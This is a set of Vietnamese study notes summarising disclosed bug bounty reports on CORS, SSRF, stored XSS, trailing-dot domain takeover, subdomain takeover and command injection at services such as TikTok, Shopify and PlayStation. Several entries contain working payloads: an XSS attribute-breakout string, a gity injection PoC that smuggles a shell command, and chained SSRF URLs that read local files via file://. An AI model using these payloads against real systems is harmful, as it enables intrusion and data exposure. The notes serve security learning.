Unrestricted File Upload Results in Cross-Site Scripting Attacks

Tồn tại một endpoint cho phép upload file tùy ý và attacker có thể upload file HTML hay SVG nhằm thực hiện tấn công XSS.

CORS Misconfiguration Which Leads to the Disclosure

Attacker gửi request đến /wp-json/wp/v2 với Origin là evil.com thì thấy rằng nó được reflected ở trong response:

Access-Control-Allow-Origin: http://evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE

Điều này dẫn đến việc disclose thông tin nhạy cảm ở endpoint.

Blind SSRF in ads.tiktok.com

Tồn tại lỗ hổng blind SSRF ở trong TikTok ads portal. Mặc dù lỗ hổng này không có impact gì to lớn nhưng TikTok vẫn accept nó và thậm chí còn cung cấp môi trường để test blind SSRF:

Please see below for the usage of SSRF Sheriff:
1. Test SSRF only with the following payload
	- Full-read SSRF (A Flag will be returned to you): [https://ssrf-bait.byted.org/full-read-ssrf](https://ssrf-bait.byted.org/full-read-ssrf)
	- Blind SSRF (Provide your own Flag as payload): [https://ssrf-bait.byted.org/blind-ssrf/YOUR_OWN_FLAG](https://ssrf-bait.byted.org/blind-ssrf/YOUR_OWN_FLAG)
2. Check if your SSRF was successful with the SSRF Flag with the following URL
	- [https://sf-ssrf-sherif.byted.app/obj/ssrf-detector-us/YOUR_OWN_FLAG](https://sf-ssrf-sherif.byted.app/obj/ssrf-detector-us/YOUR_OWN_FLAG)
	- If the response shows "True", the SSRF was successful

Insufficient Session Expiration - Previously Issued Email Change Tokens Do not Expire upon Issuing a New Email Change Token

Khi thay đổi email thì ta sẽ nhận được token trong email. Tuy nhiên, server không expire token cũ nếu yêu cầu một token mới.

Đây chỉ là một bug liên quan đến best practices.

Persistent XSS in https://sandbox.reverb.com/item/

Lỗ hổng Stored XSS tồn tại ở đường link soundcloud mà listing owner có thể gắn vào (field _product[soundcloud_link_attributes][link]_). Payload:

https://soundcloud.com/rich-the-kid/sets/the-world-is-yours-15?fuzzing" onload=alert(document.domain) x="

Mặc dù có client-side validation:

Nhưng ta vẫn có thể bypass bằng cách gửi request trực tiếp đến backend.

FQDN Takeover on All Shopify Wholesale Customer Domains by Trailing Dot (RFC 1034)

Shopify cho phép customer gắn custom domain vào một Wholesale shop với điều kiện là phải có CNAME record trỏ đến wholesale-shops.shopifyapps.com.

Attacker có thể sử dụng reverse CNAME lookup đề tìm các custom domain. Sau đó, attacker sẽ thử cố takeover custom domain của customer để host malicious content mà không cần kiểm soát DNS records bằng cách thông qua tính năng connect domain của Wholesale shop. Ví dụ, attacker muốn takeover domain shop.inti.io thì có thể thử các domain sau:

  • shOP.IntI.Io: nếu server so sánh chuỗi case-insensitive thì có thể bị takeover do domain này và shop.inti.io là giống nhau.
  • www.shop.inti.io: nếu server không kiểm tra subdomain www mà xem đây là một domain mới thì vẫn có thể bị takeover do nó giống với domain shop.inti.io.
  • shop.into.io: chắc chắn sẽ xảy ra lỗi do domain này đã được customer claim.

Tuy nhiên, khi sử dụng shop.inti.io. thì thấy rằng có thể claim domain này.

Về bản chất, domain shop.inti.io. được gọi là FQDN (full qualified domain name) hay absolute domain. Theo đặc tả RFC 1034, mỗi part trong domain đều là label và dấu chấm, kể cả top-level domain (TLD). Nếu part không có dấu chấm thì nó sẽ hiểu đây là relative domain và nếu máy tính có sử dụng search domain, chẳng hạn như example.com thì khi ta nhập vào en, nó sẽ tự thêm search domain vào và xây dựng FQDN thành en.example.com.

Đặc tả của HTTP cũng tôn trọng điều này và định nghĩa rằng host trong //<user>:<password>@<host>:<port>/<url-path> cần phải là FQDN:

3.1. Common Internet Scheme Syntax
	//<user>:<password>@<host>:<port>/<url-path>
 
host
	The fully qualified domain name of a network host
[Trailing Dots in Domain Names](http://www.dns-sd.org/TrailingDotsInDomainNames.html)

Tuy nhiên, một số browser lại không quan tâm đến điều này và cho phép người dùng nhập www.shop.inti.io, shop.inti.ioshop.inti.io. nhưng cả 3 đều có thể được resolve về shop.inti.io.. Dẫn đến, khi attacker host malicious content ở trên shop.inti.io. thì nó có thể được serve cho domain shop.inti.io (không có dấu chấm) của customer sau khi DNS/TLS được propagate.

https://www.youtube.com/watch?v=LSwWQPQ5IG8

RCE via Insecure Command Formatting

Lỗ hổng xảy ra trong thư viện gity (nay là gityup). Thư viện này là một wrapper của Git và nó không sanitize đối số truyền vào hàm commit (hoặc các hàm tương tự):

// poc.js
var Git = require('gity');
 
var git = Git()
  .add('*.js')
  .commit('-m "added js files";touch HACKED;#')
  .run();

Chạy file trên như sau:

npm i gity
node poc.js

PoC:

Subdomain Takeover of ████.jitsi.net

Domain ████.jitsi.net trỏ đến một AWS EC2 instance có IP là 18.195.93.116 và không còn tồn tại. Attacker có thể kiểm soát IP này và tự chạy EC2 instance để serve malicious content, lấy TLS certificate cho domain, etc.

% dig +short ██████.jitsi.net
18.195.93.116
 
% curl ██████████.jitsi.net
<!-- hackerone.com/ian -->

Ngoài ra, nếu OAuth whitelist domain này hoặc cookie có scope là domain này thì cũng có thể bị bypass.

SSRF Chained to Hit Internal Host Leading to Another SSRF Which Allows to Read Internal Images

Tồn tại URL https://image.api.np.km.playstation.net/ với endpoint /images/dis/images cho phép thực hiện SSRF sử dụng image parameter. Cụ thể hơn, 2 endpoint này cho phép ta truy xuất image thông qua HTTP và convert nó về format tùy ý sử dụng format parameter. Nó có thể dùng để request đến các internal hosts nhưng response cần phải là một image hợp lệ.

Ví dụ:

URL https://store.mgmt.playstation.com/ (mgmt có nghĩa rằng đây là một internal host của PlayStation) sẽ trả về 403 với endpoint dưới đây:

https://store.mgmt.playstation.com/store/api/chihiro/00_09_000/container/US/en/999/UP4134-CUSA00329_00-ONNTGAME00000001/1429722215000/image?_version=00_09_000&platform=chihiro&w=225&h=225&bg_color=000000&opacity=100

Tuy nhiên, ta có thể truy xuất image này sử dụng SSRF:

https://image.api.np.km.playstation.net/images/?format=png&image=https%3a//store.mgmt.playstation.com/store/api/chihiro/00_09_000/container/US/en/999/UP4134-CUSA00329_00-ONNTGAME00000001/1429722215000/image%3f_version%3d00_09_000%26platform%3dchihiro%26w%3d225%26h%3d225%26bg_color%3d000000%26opacity%3d100

Attacker còn tìm thấy một internal host cho phép thực hiện SSRF:

https://dis.api.np.playstation.net/dis/v1/banners?backplate=https://homer.dl.playstation.net/pr/bam-art/272/352/44592b67-85ac-41d6-b310-334363c5ea58.jpg&dimensions=790x250&price=$36.99&price_discount=$24.41&format[]=PS4&type=Full Game&locale=en_CA&cta=Download Now!&output=png&tpl=banner-web-store&store=game®ion=us&

Việc truy cập trực tiếp URL trên sẽ gây ra timeout.

Tuy nhiên, khi sử dụng SSRF thì có thể truy xuất file thông qua file protocol:

https://image.api.np.km.playstation.net/dis/images/?format=png&image=https%3A%2F%2Fdis.api.np.playstation.net%2Fdis%2Fv1%2Fbanners%3Fbackplate%3Dfile:////usr/share/pixmaps/system-logo-white.png%26dimensions%3D790x250%26price%3D%2436.99%26price_discount%3D%2424.41%26format%5B%5D%3DPS4%26type%3DF%22%3e%3c%73%3eull+Game%26locale%3Den_CA%26cta%3DDownload+No%26output%3Dsvg%26tpl%3Dbanner-web-store%26store%3Dgame%26region%3Dus%26

Decode:

https://image.api.np.km.playstation.net/dis/images/?format=png&image=https://dis.api.np.playstation.net/dis/v1/banners?backplate=file:////usr/share/pixmaps/system-logo-white.png&dimensions=790x250&price=$36.99&price_discount=$24.41&format[]=PS4&type=F"><s>ull+Game&locale=en_CA&cta=Download+No&output=svg&tpl=banner-web-store&store=game&region=us&

Cụ thể hơn, URL trên sẽ mở file:////usr/share/pixmaps/system-logo-white.png ở trên server của dis.api.np.playstation.net thông qua image.api.np.km.playstation.net.

Flow:

`image.api.np.km.playstation.net` -> `dis.api.np.playstation.net` -> fetches the local image using `file://`-> adds given data on image -> image served on (`dis.api.np.playstation.net`) -> images served to us (using `image.api.np.km.playstation.net`)

Subdomain Takeover ██████

Có một subdomain trỏ đến open-elb-prod-277276106.us-east-1.elb-amazonaws.com. và domain elb-amazonaws.com mà có thể được đăng ký.

Impact:

  • Attacker host malicious content ở domain mà có CNAME record trỏ đến open-elb-prod-277276106.us-east-1.elb-amazonaws.com..
  • Nhận email cho các subdomains khác nhau của elb-amazonaws.com.
  • Thực thi XSS, đánh cắp cookie hoặc dụ dỗ password manager fill passwords.

Mitigation: xóa CNAME record.